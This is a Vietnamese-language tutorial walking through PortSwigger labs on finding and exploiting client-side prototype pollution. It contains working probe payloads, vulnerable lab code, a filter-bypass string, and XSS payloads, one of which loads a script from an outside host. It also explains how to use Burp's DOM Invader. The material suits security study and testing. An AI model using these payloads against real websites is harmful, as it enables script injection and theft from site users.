III. Phân tích và khai thác các kỹ thuật phát hiện, tấn công Client-side - Prototype Pollution
Client-side prototype pollution xảy ra khi ứng dụng web cho phép người dùng kiểm soát các thuộc tính hoặc giá trị của prototype phía client. Kẻ tấn công có thể lợi dụng lỗ hổng này nhằm thay đổi các thuộc tính quan trọng trong prototype, gây ảnh hưởng đến hành vi của ứng dụng và có thể dẫn đến các cuộc tấn công khác như XSS (Cross-Site Scripting) hoặc CSRF (Cross-Site Request Forgery).
1. Sử dụng Console tool
Thông thường, các điểm đầu vào (input) trong một ứng dụng web sẽ là điểm bắt đầu tấn công của các hacker. Nếu kiểm tra bằng cách thử tại tất cả điểm input của ứng dụng sẽ cần rất nhiều trường hợp và tốn lượng thời gian lớn. Có thể sử dụng một phương pháp kiểm tra đơn giản hơn như sau:
Bước : Thêm các phần tử prototype dưới dạng tham số trong URL. Ví dụ:
vulnerable-website.com/?__proto__[foo]=bar
vulnerable-website.com/?__proto__.foo=bar
vulnerable-website.com/?constructor[prototype][foo]=bar
vulnerable-website.com/?constructor.prototype.foo=bar
Bước : Sử dụng Console Tool trong bộ công cụ Dev Tools, kiểm tra giá trị Object.prototype.foo
. Nếu giá trị trả về là bar
cũng đồng nghĩa với việc trang web chứa lỗ hổng, nếu trả về undefined
tức tấn công chưa thành công.
Lặp lại bước trên tại các đường dẫn khác nhau của trang web.
Khi phát hiện ứng dụng chứa lỗ hổng, một trong những hướng tấn công phổ biến là thực hiện chèn payload để khai thác lỗ hổng XSS, thông thường bằng cách phân tích và tìm kiếm các tham số thuộc tính có thể được tận dụng trong các tệp .js
của ứng dụng. Trong đó, chú ý các đoạn chương trình sử dụng các hàm, chức năng tiềm ẩn nguy cơ bị tấn công XSS như innerHTML
hoặc eval()
.
Phân tích bài lab DOM XSS via client-side prototype pollution sử dụng console tool phát hiện và khai thác lỗ hổng.
Kiểm tra với console tool nhận thấy trang web có thể bị khai thác bằng lỗ hổng prototype pollution:
Hiện tại chúng ta có thể thay đổi giá trị thuộc tính bất kỳ của tất cả đối tượng trang web sử dụng. Điều cần quan tâm lúc nào là đối tượng nào chứa thuộc tính có thể bị lợi dụng.
Kiểm tra mã nguồn, phát hiện file javascript deparam.js
và searchLogger.js
Trong đó, file searchLogger.js
async function logQuery(url, params) { try { await fetch(url, {method: "post", keepalive: true, body: JSON.stringify(params)}); } catch(e) { console.error("Failed storing query"); }
} async function searchLogger() { let config = {params: deparam(new URL(location).searchParams.toString())}; if(config.transport_url) { let script = document.createElement('script'); script.src = config.transport_url; document.body.appendChild(script); } if(config.params && config.params.search) { await logQuery('/logger', config.params); }
} window.addEventListener("load", searchLogger);
Chú ý tới đoạn code sau trong hàm searchLogger()
:
if(config.transport_url) { let script = document.createElement('script'); script.src = config.transport_url; document.body.appendChild(script);
}
Đoạn mã có thể hiểu: Khi thuộc tính transport_url
của đối tượng config
khác null, tạo một thẻ <script>
mới có thuộc tính src
là giá trị config.transport_url
.
Với lỗ hổng prototype pollution, chúng ta hoàn toàn có thể thay đổi giá trị của config.transport_url
trong trường hợp này. Thật vậy, tại tùy chọn Sources > searchLogger.js > đặt break point tại dòng thực hiện debug > tải lại trang web với tham số __proto__[transport_url]=viblo
> kiểm tra giá trị config.transport_url
tại phần Watch:
Đồng thời, kiểm tra tại tùy chọn Elements cũng xuất hiện thẻ <script> mới có thuộc tính src=viblo
Do đó, chúng ta có thể lợi dụng giá trị config.transport_url
thực hiện cuộc tấn công XSS (Trong trường hợp này là DOM XSS) bằng cách chèn payload vào thuộc tính src trong thẻ <script>.
Cách : Tải payload javascript từ một trang web khác. (Lưu ý rằng phương pháp này có thể không hiểu quả với các trang web quy định nghiêm ngặt chính sách CSP)
Payload ví dụ: https://bo0om.ru/csp.js
Cách : Chèn mã độc javascript vào trang web bằng data
:
Payload ví dụ: data:,alert('viblo')
Bạn đọc có thể luyện tập thêm với bài lab DOM XSS via an alternative prototype pollution vector.
2. Bypass filter
Đôi khi, chúng ta gặp phải một số cơ chế phòng ngừa tấn công prototype pollution. Kiểm tra và phân tích các file .js
có thể giúp chúng ta tìm ra cách thức vượt qua lớp cơ chế bảo vệ này. Ví dụ:
function sanitizeKey(key) { let badProperties = ['constructor','__proto__','prototype']; for(let badProperty of badProperties) { key = key.replaceAll(badProperty, ''); } return key;
}
Chương trình trên kiểm tra các từ khóa constructor
, __proto__
, prototype
trong URL, nếu tồn tại sẽ thực hiện loại bỏ các từ khóa này bằng hàm replaceAll()
. Tuy nhiên, do hàm replaceAll()
chỉ loại bỏ duy nhất lần từ khóa được yêu cầu. Nên có thể dễ dàng bypass bằng cách "double" từ khóa, ví dụ:
__pro__proto__to__[foo]=bar
Tham khảo bài lab Client-side prototype pollution via flawed sanitization.
3. Khai thác lỗ hổng với DOM Invader
Đôi khi, một số trang web chứa số lượng tệp .js
lớn và mỗi tệp có thể lên đến hàng nghìn, thậm chí chục nghìn dòng code khiến cho việc tìm kiếm các thuộc tính đối tượng gặp nhiều khó khăn, đôi khi tiêu tốn lượng thời gian lớn nhưng không thu lại được kết quả mong đợi. Và đây là lúc chúng ta cần tìm kiếm đến các công cụ giúp tự động hóa việc tìm kiếm / khai thác lỗ hổng. Phần mềm Burp Suite cung cấp một công cụ hữu ích là DOM Invader. Công cụ cho phép tự động tìm kiếm, rà soát các file .js
:
Để sử dụng công cụ với mục đích tìm kiếm / khai thác lỗ hổng Prototype Pollution, chúng ta sẽ sử dụng Burp Browser và bật DOM Invader tại extension > Bật Attack types
Lúc này, khi truy cập trang web, công cụ sẽ tự động kiểm tra, chúng ta có thể xem kết quả tại mục DOM Invader trong Dev Tools:
Ngoài ra có thể lựa chọn chế độ scan trong Extension DOM Invader > Attack types > Setting
DOM Invader có thể giúp chúng ta tiết kiệm nhiều thời gian trong quá trình kiểm thử dạng lỗ hổng Prototype Pollution, đặc biệt đối với các ứng dụng có sử dụng các thư viện thuộc bên thứ ba - thường có số lượng mã nguồn cực lớn. Cùng luyện tập với bài lab Client-side prototype pollution in third-party libraries bằng sự hỗ trợ của DOM Invader.
Thiết lập các tùy chọn trong extension DOM Invader, tải lại trang web, kiểm tra tại Dev Tools > DOM Invader có kết quả:
Công cụ phát hiện yếu tố đáng nghi hash
, chọn Scan for gadgets > Exploit
Công cụ tự động kiểm thử bằng các payload sẵn có, thu được kết quả:
Các tài liệu tham khảo
- https://portswigger.net/web-security/prototype-pollution
- https://portswigger.net/web-security/prototype-pollution/javascript-prototypes-and-inheritance
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection
- https://portswigger.net/burp/documentation/desktop/tools/dom-invader/prototype-pollution#scanning-for-prototype-pollution-gadgets